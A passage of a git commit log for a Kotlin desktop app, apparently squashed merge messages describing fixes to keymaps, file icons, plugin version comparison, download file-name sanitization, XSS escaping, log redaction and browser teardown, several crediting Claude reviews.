ms effect delay is named TAB_SELECT_FOCUS_GRACE_MS with a comment stating it is UX grace, not a correctness barrier. - TabSelectEventTest: the no-replay test proves live delivery first and only then asserts the late collector sees nothing; both tests use explicit subscription barriers instead of yield(); ipcBridge is reset in @AfterTest; KDoc states the tests pin the bus contract, not the shipped BossAppEventBusEffects filter. * docs(search): correct bus KDocs after destination-addressed TabEventBus Per Claude delta review at af7c292: - BossAppEventBusEffects file KDoc: note the TabEventBus exception to the window-filtered-by-sourceWindowId rule (Issues #498/#506). - TabEventBus KDoc: spell out the cross-process subscription consequence (subscribers must not set SubscribeRequest.sourceWindowId to their own window id; route on the payload's targetWindowId) and fix the 'this file's twelve sibling buses' wording. - TabSelectEventTest KDoc: the bus carries two properties, not three. --------- Co-authored-by: Shivang Co-authored-by: kshivang * fix(keymap): map Cmd to Ctrl in native menu accelerators on Windows/Linux (#535) * fix(keymap): map Cmd to Ctrl in native menu accelerators on Windows/Linux - Problem: MenuShortcutBridge.getKeyShortcut() always set meta=true for Cmd bindings, which Compose Desktop maps to the Super/Windows key on Windows/Linux, so native menu items like Ctrl+N/Ctrl+, failed to fire. - Fix: resolve effectiveCtrl and effectiveMeta from SystemUtils.isMacOS before constructing KeyShortcut, matching the platform-aware mapping in KeymapMatcher and AWTKeyboardInterceptor. - Verification: ./gradlew :composeApp:desktopTest --tests "ai.rever.boss.keymap.ShortcutCaptureConsumersTest"; :composeApp:ktlintCheck; :composeApp:detekt. * fix(keymap): gate browser zoom/reload menu items, make mapping testable per-platform Addresses the Claude review of the menu accelerator change: - The View menu's Actual Size / Zoom In / Zoom Out / Reload items now carry enabled = hasBrowser like Back/Forward/Developer Tools. Their bindings are BROWSER-context and AWTKeyboardInterceptor declines them outside a browser tab, so before this the newly-live Ctrl accelerators on Windows/Linux could fire them from a terminal or editor tab. - The platform modifier mapping is extracted into the pure menuAcceleratorModifiers(hasCmd, hasCtrl, isMacOS), with the asymmetry comment moved with it. The test now pins both platform branches unconditionally on any runner; the bridge-level tests keep asserting the live SystemUtils wiring. - One-line comment keeping the legacy packed-keycode coverage attached to Key.N.keyCode.toString(). * docs(keymap): record the deliberate menu-gate asymmetry in three stale comments Per Claude delta review at 928d3b206: after gating the four View items with enabled = hasBrowser, three comments still described the pre-gate behaviour. - windowsWithActiveBrowser KDoc now enumerates all seven gated items. - activeBrowserWindows KDoc records that the gate is deliberately stricter than the dispatch target (sidebar-slot / background-split browsers lose Zoom and Reload from the View menu; the broader gate would swallow Ctrl+R and Cmd+[/Cmd+]). - The 'gate is stricter' test restates the asymmetry without the now-false claim that a sidebar browser still gets Zoom and Reload. --------- Co-authored-by: kshivang Co-authored-by: Shivang * fix: keep focus mode rail actions stable (#519) Keep focus-mode quick actions stationary in the collapsed rail while the drawer reveals beside it. Preserve rail interaction when the chevron dismissal catcher is present and keep heavyweight tooltips visible. Original implementation: Ayush Santosh Chhatre (@Ayush04-C). Consolidation source #534: Rohan Gaikwad (@rohangaikwad4), credited for the parallel stationary-rail implementation and permanent-activity-bar framing. Prior review-agent catcher and regression-test repairs remain separately attributed in the PR description and review record. Reviewed head 9e939539c8f971cd45e33aa336d261eb21d5a492: all nine CI checks pass, including three platform builds/tests and code quality. Claude's final import/KDoc findings were addressed; dev does not alter the PR's touched files. Manual visual checks remain recorded in the PR/review inventory. * fix(passkey): escape mobile WebAuthn HTML templates against reflected XSS (#546) Escape mobile WebAuthn template values in their HTML and inline JavaScript contexts to prevent reflected script injection. Original vulnerability analysis, contextual escapers and initial regression tests: Antriksh (@Antriksh1984). Prior agent follow-ups repair replacement-pattern expansion and add single-pass substitution plus additional regression coverage. Agent repairs are separate from the original submission score. Validation: all nine current-head CI checks pass; prior combined current-dev integration passed 167 Deno tests and 784 pgTAP assertions. Claude findings have been addressed with dispositions documented on PR #546. No production deployment is included. Co-authored-by: Antriksh * fix(project): stop the per-window recent-projects provider from leaking, without freezing KERNEL clients (#524) Stop window-owned recent-project collectors at disposal while keeping KERNEL watch streams connected to process-wide state. Original implementation by Antriksh; prior review integration and regression hardening are documented in the PR. Co-authored-by: Antriksh * Stop FileIcons keeping a second copy of the icon extension list (#525) * Stop FileIcons keeping a second copy of the icon extension list `FileIcons.forFile` gated `LanguageIcons.forExtension` behind a `when` whose 52 branches were byte-identical: each listed some extensions and then called `LanguageIcons.forExtension(extension).toFileIconInfo()`. The branches carried no behaviour, only a vocabulary, and that vocabulary is already declared in LanguageIcons' own `when` in the adjacent file. It is one of the duplicated language tables BossConsole#75 is about, and #358 did not reach it: that PR consolidated the host and out-of-process language-ID tables, while the icon layer kept its own. The copy had already drifted, which is the failure mode #75 describes. Eleven extensions LanguageIcons has icons for were missing from the gate and fell through to the generic file icon: astro, eslintignore, eslintrc, gql, graphql, pom, prettierignore, prettierrc, prisma, proto and styl. Nothing reported that; the file just rendered as a blank document while the icon sat one file away. Measured before changing anything: the gate routed 108 extensions and LanguageIcons knows all 108, so no extension loses an icon. The gate was a strict subset, so deleting it is additive. `forExtensionOrNull` is the nullable variant that lets a caller ask whether an extension is recognised without comparing against `unknown`, which a real mapping could legitimately return. `forExtension` keeps its total contract and delegates. The 19 explicit branches stay ahead of the delegation because they deliberately disagree with the language mapping: a `.xml` is a config document, `.bat`/`.cmd` take PowerShell's colour, `.env` is a lock, and `jar`/`war`/`ear` are archives carrying Java's colour rather than Java source. `forSpecialFileName` still runs first, which is why `pom.xml` is Maven rather than XML. FileIconsLanguageDelegationTest pins all of it: the fallback for a genuinely unknown extension, a spread of the previously gated extensions, each of the eleven that had drifted, every override that must keep winning, the jar case, and that `forExtension` is still total. 47 tests in the module, 0 failures. Module ktlint and detekt clean; the two existing detekt baseline entries were rekeyed to the renamed function rather than widened. Co-Authored-By: Claude Opus 5 (cherry picked from commit a1c298ef63aeea9c676c2f45022b87007d6258c2) * style(file-icons): fix stale section comments left by the delegation change The 'Shell scripts' comment described branches this change removed, and the empty slot under 'Databases' is where the removed sql branch sat. Comments only; no behavior change. (cherry picked from commit 86a031c6adad92f5b74b4e83dd98b142c3706880) * style(file-icons): drop the value-identical gradle branch and stale docs Addresses the Claude review of #525: - remove the explicit "gradle" branch from forFile: it was value-identical to LanguageIcons' own mapping, i.e. exactly the duplication this PR removes; gradle files now resolve through the forExtensionOrNull delegation, pinned with a non-special name (libs.gradle); - the build.gradle assertion tested forSpecialFileName, not the removed branch; the xml-vs-maven override is now pinned directly; - move the Apple property list comment back above the plist branch and drop the orphan blank line at the Windows batch comment; - delete the orphaned KDoc left by the forExtension rename; - prune the baseline entry for the png line that is a block body now. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(plugin-store): stop the update check mis-ordering versions it cannot parse (#539) * fix(plugin-store): stop the update check mis-ordering versions it cannot parse `PluginRepositoryManager.isNewerVersion` split a version on "." and dropped any segment that was not a bare integer. Dropping rather than zero-filling shifts every later segment into the wrong position, so the comparison was made against the wrong field. Two cases a user would notice: "1.0.0+build.7" parsed as [1, 7]. Compared against an installed [1, 0, 0] the 7 landed in the minor position and won, so the store offered an update to the version already installed, on every check. SemVer section 10 says build metadata is ignored for precedence. An installed "1.0-beta.5" parsed as [1, 5], so the 5 sat in the minor position and beat the 2 of a genuine "1.2.3" release. The real update was never offered at all. The codebase already has one answer for this. SemanticVersion describes itself as the sole version-comparison primitive for plugin update and floor checks, and PluginUpdateManager uses it. This was the third comparator and the only one that disagreed with it; across a small matrix of realistic version strings the two disagreed on 32 of 156 ordered pairs. plugin-dependency has no project dependencies of its own, so taking it as a dependency here cannot introduce a cycle, and plugin-updater already does it. One behaviour is preserved deliberately rather than inherited: a plugin whose installed version cannot be parsed is still offered an update. It is already in a broken state, and refusing every future update would strand it there. An unparseable candidate is never offered, because nothing can be said about it. Ten tests, of which five fail against the previous implementation. Co-Authored-By: Claude Opus 5 * docs(plugin-repository): correct version-shift comments and cross-reference the two comparators Addresses the Claude review of #539 (comments and one log line; no behaviour change): - the old code read '1.0.0+build.7' as [1, 0, 7] (the 7 in the PATCH slot, not the minor) and '2.0.0-rc.1' as [2, 0, 1] returning true on 1 > 0 at the third position; the test and KDoc comments now say so; - the test KDoc now names which cases are regression tests and which are guards - most also pass against the old comparison; - both isNewerVersion KDocs now cross-reference each other and state the deliberate fail-open vs fail-closed divergence on unparseable installed versions; - checkForUpdates documents that it has no production caller today (Toolbox path is PluginUpdateBridge -> PluginUpdateManager) and logs when a candidate is refused because its store version is not parseable, keeping 'no update offered' and 'we could not tell' distinguishable. * test(plugin-repository): close out the second Claude review of #539 Addresses the re-review of 20b7e6ff5: - the test KDoc listed six regression cases, but 'a release is newer than its own pre-release' passes against the old comparison too ([1,2,3] vs [1,2] decides at the third position both ways) - it is a guard, as the PR body already said; the list now names the five real regressions; - the checkForUpdates KDoc claimed the function is 'pinned by tests' while nothing called it; it is now driven end to end by two new tests (a newer store version is offered; an unparseable store version is never offered), which also cover the new offerUpdateIfNewer helper and its debug log; - the KDoc now states the honest reason the callerless function is kept: the repository layer should answer the same question the updater does if the paths are ever merged. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(downloads): stop a hostile file name throwing out of the download handler (#540) * fix(downloads): stop a hostile file name throwing out of the download handler FileNameSanitizer.sanitize runs on the name the download source chose, so its input is whatever a server puts in Content-Disposition. Two inputs got the wrong answer. A long extension threw. Nothing bounds how long an extension is: it is whatever follows the last dot. A name of "a." plus 300 characters gives an extension of 301, and subtracting that from the 255 limit gave a negative budget that reached take(), which rejects a negative count and throws out of the handler. The extension is now abandoned when it cannot fit, rather than shortened, because a truncated extension is not the file's type and inventing one is worse than having none. A name of only dots came back ending in a dot. For ".", ".." or "...", the extension computed in step 4 is a lone ".", and the "ensure at least one character" fallback appended it raw to produce "download." That re-created exactly the trailing dot step 5 removes, and a trailing dot is what is invalid on Windows. Truncation could re-expose one too, so the rule is re-applied to whatever the cut produces. The file had no tests. Eleven are added, four of which fail against the previous implementation. They also pin the behaviour that was already right, so the Windows device names, the traversal reduction and the control-character handling cannot regress silently. Verified against the local ktlint and detekt gates. Co-Authored-By: Claude Opus 5 * fix(downloads): abandon an oversized extension instead of truncating it Review follow-up on @arjun28115's fix: the documented intent is that an extension which cannot fit in the 255-character limit is abandoned rather than shortened (a truncated extension is not the file's type), but the budget <= 0 branch kept a prefix of the extension. Preserve the base name only, cut to the limit, and pin the behavior with a regression test. 12 tests, 0 failures; ktlint and detekt clean. * fix(downloads): recompute the cut's extension and re-defuse reserved names Review follow-up on @arjun28115's fix: - truncate() took the extension computed before the trailing-dot trim. For exactly the hostile shape this PR targets - a name ending in a dot - that copy is a stale lone '.', so a real '.pdf' that fit was dropped and the download landed extensionless. The extension is now recomputed from the string being cut, as the helper's KDoc always claimed. - The cut's trim can also shrink the base onto a reserved device name step 4 missed: 'CON ' (space before the dot) is not a reserved segment, so with an oversized extension the result was bare 'CON', which Windows refuses. The cut result is now defused like step 4. - The device-name test title overclaimed ('whatever their case or extension'); it now names what it covers, pins the defused shape, and includes the trailing-space input the description claimed was tested. 14 tests, 0 failures; ktlint and detekt clean. * fix(downloads): compare a device name at the first dot, as Win32 does The review of 9d04f35 is right and the disposition that closed finding 2 was not. A device name followed by an extension is still the device: Microsoft's naming rules say NUL.txt and NUL.tar.gz are both equivalent to NUL, and this file already agreed, since step 4 rewrites CON.txt to _CON.txt. The check compared the segment before the LAST dot, which leaves two holes that are the same underlying fact. Multi-dot names were missed entirely. "CON.tar.gz" was compared as "CON.tar", which is not reserved, so it passed through untouched. Truncation could manufacture a device out of a name that was not one. "CONSOLE." followed by 251 characters is not reserved at step 4. Cutting it to fit the limit left "CON." and the rest, which Windows resolves to the console, so the download writes nowhere and no file appears. The defuse added in 9d04f35 did not catch it, because it compared the whole cut rather than the base, and only the budget <= 0 branch could ever match. Both close by comparing the segment before the first dot, in one helper used by step 4 and by the cut. Trailing spaces are trimmed before the comparison for the same reason: Windows ignores them. Defusing prepends one character, which would push a full-length result to 256. The cut is therefore redone one character shorter when that happens, which is always enough because the prefix is exactly one character. Three tests, all of which fail against 9d04f35. The last asserts the invariant rather than a case: no input in the list comes back as something Windows would resolve to a device. The title of the existing device test said "with a single extension", which was accurate before this and is not now, so it has been corrected rather than left to mislead. 17 tests, ktlint and detekt clean. Co-Authored-By: Claude Opus 5 * test(downloads): pin the retry-that-defuses cut and the CONSOLE redo shape Closes the two test-only items from the third Claude review of 40700c137: - new test for the one path where a defused cut survives into the returned value: the 255 cut and the 254 redo both trim onto CON, both defuse, and the result lands exactly at the 255 limit; - the CONSOLE. + 251x test now pins the full redo shape (CO. + 251x) instead of a non-device check that would also accept a fallback name; - the padded-name test comment now says step 4, not the cut, defuses it; - truncate's comment states the cutTo limit + 1 bound that makes one redo always enough, and the step 4 extension local says it serves the step 6 fallback. --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(browser): prevent memory leak by unifying browser teardown paths (#502) Unify external browser closure with idempotent full teardown. Includes reviewed EDT dispatch, unconditional unregister and regression guards. Original contribution: Anshul Pundhir (@pundhiranshul). Review-agent hardening is documented in PR #502. Co-authored-by: pundhiranshul * fix(runner): honor main-panel rerun delay and document unsupported settings (#486) * Batch validation: promote latest reviewed dev changes to main (#463) * Fix #30: Resolve duplicate context menu label collisions * Cleanup: Remove dead code for #91 and #93 * chore: Sanitize SubmitResult.Error at construction rather than at one render site * Fix panel component lifecycle disposal * fixes * Guard panel lifecycle destruction failures * fix(logging): sanitize secret RPC failures and crash-report errors Three related gaps in what gets logged and shown when something fails: - SecretService.kt had no BossLogger in any of its ten catch blocks (#145). When the organisation migration broke all four secret RPCs (#144), the only WARN in the log came from the calling plugin - the code that actually failed said nothing. Every catch now logs via logger.warn(LogCategory.NETWORK, ...), reusing the already-sanitized failure for both the log and the returned Result rather than sanitizing twice. RoleService and RoleCreationService were checked and already log correctly - SecretService was the only silent one. - LogSanitizer.sanitizeExceptionMessage redacted a hostname only when it appeared inside a URL - a bare hostname (exactly what UnknownHostException.getMessage() produces, i.e. every DNS failure, and what a proxy-connect failure looks like) passed through untouched (#109). Added a narrow hostname pattern: lowercase-only labels ending in a short explicit TLD/`.internal`/`.local` list, with a negative lookahead so a package path that happens to end in a real TLD word mid-FQN (kotlinx.coroutines.internal.ScopeCoroutine, kotlinx.io.EOFException) is not mistaken for one - caught by the existing realistic-stack-trace test after the first version of the pattern redacted a live Kotlin package name out of it. - CrashReportService.SubmitResult.Error held a raw exception string, sanitized at exactly one render call site in CrashReportDialog (#110). The constructor is now private; SubmitResult.Error.of(...) is the only way to build one, and it sanitizes before the raw string can reach .message - a property of the type now, not something every future consumer (a copy button, a toast, a log line) has to remember on its own. Both construction sites (the service's two catch blocks, and the one in CrashReportDialog the issue names directly) now route through it. Tests: new coverage for the ten now-logging SecretService paths (via SupabaseWiringTest's existing sanitization-wiring guard, updated to recognize the "sanitize once into a local, reuse for log and return" shape SupabaseDataProviderImpl already used), six new LogSanitizerTest cases for the hostname fix (including the FQN/version-number false-positive guards), and a new CrashReportServiceTest for the sanitize-at-construction guarantee. * test(crash): extract construction tests from #404 Selected unchanged test file from Antriksh1984 original commit 99d2a5228023c541e825fe2714619c8228140369 (PR #404). Maintainer extraction only; subsequent API/scope adaptations are recorded separately. * chore(ipc): clarify advisory menu ID scope and fix formatting * chore(ui): finish obsolete toolbar comment cleanup * test(crash): adapt consolidated coverage and guard factory visibility Maintainer consolidation: use #311 companion invoke and a URL fixture instead of depending on #404 hostname redaction. Add private constructor/copy bytecode assertions. Preserve original contributor tests and implementation credit separately. * refactor(crash): consolidate construction sanitization in #311 Maintainer scope change: remove only the duplicate #110 implementation, retaining Antriksh1984 original #109/#145 work and commit history. Standalone construction tests are retained with attribution in #311; its Aditya8369 implementation supersedes Error.of. Keep render-time sanitization here until #311 merges and describe the remaining hostname coverage conservatively. * test(panels): retain sibling lifecycle isolation coverage from #313 Adapt the original #313 test to the #317 constructor and supply the missing panelInfo overrides. Original test scenario and assertions are by @rehannayeem0786; these compile adaptations are maintainer integration work. * fix(panels): complete lifecycle cleanup across failure and window teardown Destroy partially constructed panels and replacements that fail to resume. Continue downward lifecycle transitions after a failing pause or stop callback. Dispose panels before plugin teardown in the same callback rather than relying on sibling Compose effect order. Add regression coverage and adapt the retained #313 test bodies for detekt. These changes are maintainer follow-up to the original #313/#317 contributions. * docs(ui): remove stale disabled top-bar feature list * test(ipc): protect advisory menu item ID uniqueness * fix(panels): keep store registration scoped to its window effect Remove the redundant unregister from plugin teardown. Document independent context services and synchronous Essenty onCreate replay, with tests for registration ownership and exactly-once create callbacks. Keep tab teardown hardening separate. Maintainer follow-up to the review of #317; original #313/#317 contributor credit is unchanged. * fix(crash): address consolidated sanitization review notes Maintainer follow-up to Claude N1-N4: document factory/copy invariant, correct stale comments, move Aditya original construction assertions into the service suite while retaining Antriksh blank/diagnostic cases, and log unexpected dialog submission failures. Original contribution credit remains separate. * fix(logging): keep server failure payloads out of secret RPC logs Maintainer follow-up to Claude review: log operation and exception type only, preserve sanitized return semantics, and check each catch for safe return/log wiring. Document measured hostname limits without broadening the matcher; add module-local redaction and diagnostic-preservation coverage. Antriksh original implementation remains credited separately. * ci: build PR batches on dev * Allow Claude diff reviews after approved fork builds (#413) * fix(browser): preserve newer clipboard copies during plain-text paste (#316) * fix(browser): paste-without-formatting no longer clobbers a copy made in its restore window (#205) * fix(browser): make paste-without-formatting's restore identity-based, not text-based Review of this PR caught that the text-equality guard cannot distinguish 'our write is still current' from 'a previous press already restored the rich original' - whose string projection is by construction the same text - so two presses inside the 200ms window permanently downgraded a rich clipboard to plain text. A PasteWithoutFormattingSession now tracks the exact Transferable each press installed and restores the pre-window original once, while a user copy in the window still wins. Adds five tests to BrowserClipboardCommandsTest, including the double-press regression; wraps the two over-limit lines; e.message -> e::class.simpleName in the touched handlers. * fix(browser): fold tryRestore's early exits so it stays within detekt's ReturnCount * fix(browser): blank lines between FakeTransferable overrides per ktlint * test(browser): retain clipboard restore scenarios from #408 * fix(browser): track clipboard ownership through AWT wrappers --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang Co-authored-by: Antriksh1984 * fix(plugins): serialize concurrent first loads per class name (#324) * fix(plugins): prevent duplicate class definitions during concurrent loads * fix(plugins): make class loading parallel-safe * test(plugins): pin concurrent loading lifecycle boundaries Maintainer consolidation follow-up: retain #324 synchronization and its tests; add concurrent shared-name, superclass, and unload-marker coverage. Document caller-sensitive registration based on arjun28115 review feedback and clarify that marking unload does not drain an already admitted parent lookup. No global lifecycle lock or resource-policy changes. --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Procs <168113425+ProportanilityConstant@users.noreply.github.com> Co-authored-by: Shivang * fix(browser): defer native disposal until admitted calls drain (#312 + #409) (#412) * fix: make BrowserHandle JavaScript execution cancellable the previous synchronous JxBrowser call blocked the Main/EDT thread; coroutine cancellation could not take effect while that call was blocking; the implementation now uses JxBrowser’s asynchronous JavaScript callback API; suspendCancellableCoroutine makes the Kotlin waiting side cancellable; late callbacks after cancellation are safely ignored; this does NOT terminate JavaScript already executing inside Chromium. * fix: add robust native call lifecycle tracking for disposal * test: verify native operation cleanup on synchronous failure * fix: linearize browser disposal and pending operation tracking * fix: resolve detekt violations in browser native tracking * test: satisfy detekt failure simulation rule * fix: close native operation disposal race * fix(browser): drain an in-flight call before closing the browser Issue #300 reports that executeJavaScript is a synchronous, non- cancellation-aware native call, and a plugin's own withTimeoutOrNull around it can only abandon the caller's wait - not the call itself - which stays running on Main indefinitely and can race a concurrent handle.dispose(), touching the same native object from two threads at once. The severe half of this was already fixed by BoundedBrowserCall: this class confines every blocking round trip to one dedicated daemon thread instead of Dispatchers.Main, so a wedged renderer no longer freezes the app. What was not yet closed is the residual window this issue's core report is actually about: shutdown() stopped new work but did not wait for whatever was already running, so a caller could proceed straight to browser.close() while a call from just before shutdown was still finishing on the dedicated thread. shutdown() now waits, bounded, for that in-flight call to drain before returning. Costs nothing in the common case - awaitTermination returns immediately once the one worker thread and its queue are both idle, which is where an instance sits between calls - and only the bound in the rare case something was genuinely still running. Known, and disclosed in the KDoc rather than claimed away: this narrows the race for the common case (a call that was always going to finish quickly) rather than closing it. It cannot help when the in-flight call is itself the wedge this class's own deadline exists for - waiting unboundedly for a genuinely stuck call would reintroduce the exact freeze BoundedBrowserCall exists to prevent, just moved from a plugin's await into every caller's teardown path. There is no JxBrowser API on this version able to interrupt a blocking round trip already inside the native call, which is the whole reason the call is confined to its own thread instead of cancelled - closing that window completely needs JxBrowser's own cooperation, which the issue's own analysis already concluded is unavailable. Tests: shutdown waits for a fast in-flight call to finish before returning, and does not wait past its own drain timeout for a wedged one - the same before/after pair the rest of this test file already uses for BoundedBrowserCall's deadline. * fix(browser): defer native close until admitted calls drain Consolidates the lifecycle work from #312 (johncybersage) and #409 (Antriksh1984), retaining both original histories. Replaces success-only callback accounting and timeout-then-close with executor termination signals and host-owned native/profile cleanup. These corrections and replacement tests are maintainer/agent work, separate from contributor scoring. * fix(browser): bound profile waits and clarify deferred cleanup ownership Address consolidation review: schedule both service disposal paths without awaiting native close, diagnose pending drains, centralize executor ownership, and bound profile lease acquisition without permitting unsafe reuse or eviction. Document process-exit abandonment and verify wiring and cleanup ordering. Maintainer/agent follow-up, separate from original #312 and #409 contributor credit. * fix(browser): schedule disposal after early UI teardown failure * ci: create launcher directory before Claude native installation * Revert "ci: create launcher directory before Claude native installation" This reverts commit 5184908e6c3f133502508513b4c5e17651b13bc0. * test: keep warmup registry ordering check on one event loop * test(browser): normalize CRLF in disposal source wiring guards --------- Co-authored-by: john k Co-authored-by: john k Co-authored-by: Antriksh1984 * feat(tabs): show a speaker glyph on tabs that are playing audio (#314) * feat(tabs): show a speaker glyph on tabs that are playing audio (#308) * fix(tabs): review round - compile, registry lifetime, UI-thread marshalling, owner flush 1. graphicsLayer import dropped (does not exist at that package); the fade now uses .alpha(audioAlpha), already imported. 2. TabAudioRegistry no longer outlives its owner: disposeAllTabsBlocking unregisters everything this component registered, and DetachedTab.destroy drops the entry for a tab destroyed without adoption - the handler captures the BossTabsComponent, so stale entries retained it. 3. The registry update is marshalled to the EDT via SwingUtilities.invokeLater, so the tab-model mutation happens on the UI thread as the KDoc claims. 4. setFullscreenHandler flushes the current playback state once ownerTabId becomes known, closing the starts-before-registration race the review could not verify. 5. TabAudioRegistryTest added: delivery, last-writer-wins, ownership-checked unregister. * fix(tabs): CI round 2 - DetachedTab receiver error, long line, and baseline-preserving signatures - BossMainWindowPanel.kt:2098: DetachedTab is a non-inner nested class and cannot use the outer component as receiver; the audio-handler drop moves to detachTab instead, which is where adoption-vs-destroy actually diverges. - TabAudioRegistry.kt:9 wrapped under detekt's 120-char limit. - FluckTabInfo.isPlayingAudio and BossTabButton's glyph read no longer change any signature: the flag is a mutable property (copied in copy()'s body) and the button reads it off tabInfo, so the constructor, copy() and BossTabButton keep their exact baseline-frozen detekt IDs and the resurfaced LongMethod/LongParameterList/CyclomaticComplexMethod findings retire. * fix(tabs): fold handleAudioUpdate within ReturnCount; add missing final newline in the test file * fix(tabs): publish audio state by browser ownership and keep icon layout stable --------- Co-authored-by: rehannayeem0786 Co-authored-by: Shivang * feat: connect chrome density settings and keyboard controls (#305) * feat: wire the chrome density scale into settings and small-screen defaults ChromeDensity / ChromeDimens.of() / LocalChromeDimens already existed on main and every bar (BossTitleBar, BossTopBar, the main tab bar, BossBottomBar) already read its height from BossChrome.dimens - but LocalChromeDimens was never provided anywhere, so it silently resolved to its staticCompositionLocalOf default (Comfortable) always. The scale was built and unreachable. This closes that gap: - WindowAppearanceSettings gets a `density` field (default COMFORTABLE, so an existing install's settings file - which has never heard of this key - decodes to exactly the chrome it already had; no settings-version bump needed). - BossApp.kt now provides LocalChromeDimens from that field, host-only and outside BossAppCompositionLocals (plugins never draw host chrome). - A "Density" dropdown in Settings > Bars (Compact/Comfortable/Spacious), indexed in Settings search. - A fresh install on a small screen (< 1000dp logical height, clearing the 13" MacBook Air's ~931-956pt from #239's own measurements) now defaults to Compact and starts with the bottom bar off - the one bar this manager can still reclaim itself, since the side strips are already off by class default. Toolkit.getScreenSize() is read once, wrapped in runCatching (HeadlessException off a display must not break a fresh install), with a pure defaultDensityFor(screenHeightDp) so the decision is unit-testable without a display. Addresses #239, scoped down from the full issue. Out of scope in this pass, deliberately: - The app does not yet report its own chrome budget as a measured percentage - the issue's own "state it, don't argue it" ask. Reachable later from the same ChromeDimens source, but needs a spot to render it. - The title bar's 27dp "Boss Console" label row is untouched - collapsing or merging it with the tab bar is a separate, riskier layout change than a density scale. - No regression intended to the existing per-bar show/hide switches or focus-mode edges: density only changes how much room a bar that is already on screen takes, never whether it is shown. * fix: drop the Compact-density bottom-bar auto-off, wrap an overlong line Address review feedback on #305: - Removed showBottomBar = density != ChromeDensity.COMPACT from getDefaultSettings(). ChromeMetricsTest already shows the shipped macOS defaults reach 93.3% of a 931dp window at Comfortable, so #239's >=90% bar is met without touching the status bar - and that bar's own KDoc argues it must stay on ("the only always-on readout"). It was also reachable from the settings-load catch fallback, so a transient read error could silently drop the bar and have the next save persist the loss. Compact now only changes density, nothing else. - Wrapped primaryScreenHeightDp() - was 121 chars, one over detekt's default MaxLineLength (120), which applies here since .editorconfig's 140 is a ktlint-only setting and this line wasn't in the baseline. * feat: add chrome density setting * feat: add small-screen chrome defaults * feat: add chrome density controls and small-screen defaults * fix(ui): preserve lean density defaults and test density controls * style: format multiline screen-height lookup * fix(ui): separate density recovery and make editor chords opt-in * style: wrap density default documentation --------- Co-authored-by: AdityaK-iiita Co-authored-by: Shivang * fix(plugins): stop host resource fallback after unload (#325) * fix(plugins): stop host resource fallback after unload * fix(plugins): preserve resource warning for a missing result --------- Co-authored-by: sgoel2be24-cyber <223222024+sgoel2be24-cyber@users.noreply.github.com> Co-authored-by: Shivang * Handle closed browser frames during navigation callbacks (#400) * Handle closed browser frames during navigation callbacks * test(browser): retain closed-event guard after navigation integration * fix(browser): preserve helpers on PID failure and recognize closed transports * style(browser): wrap review diagnostics for detekt --------- Co-authored-by: Shivang * refactor(window): pin the panel content alignment width (#398) * fix(window): restore strict width constraints for nested panels Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more 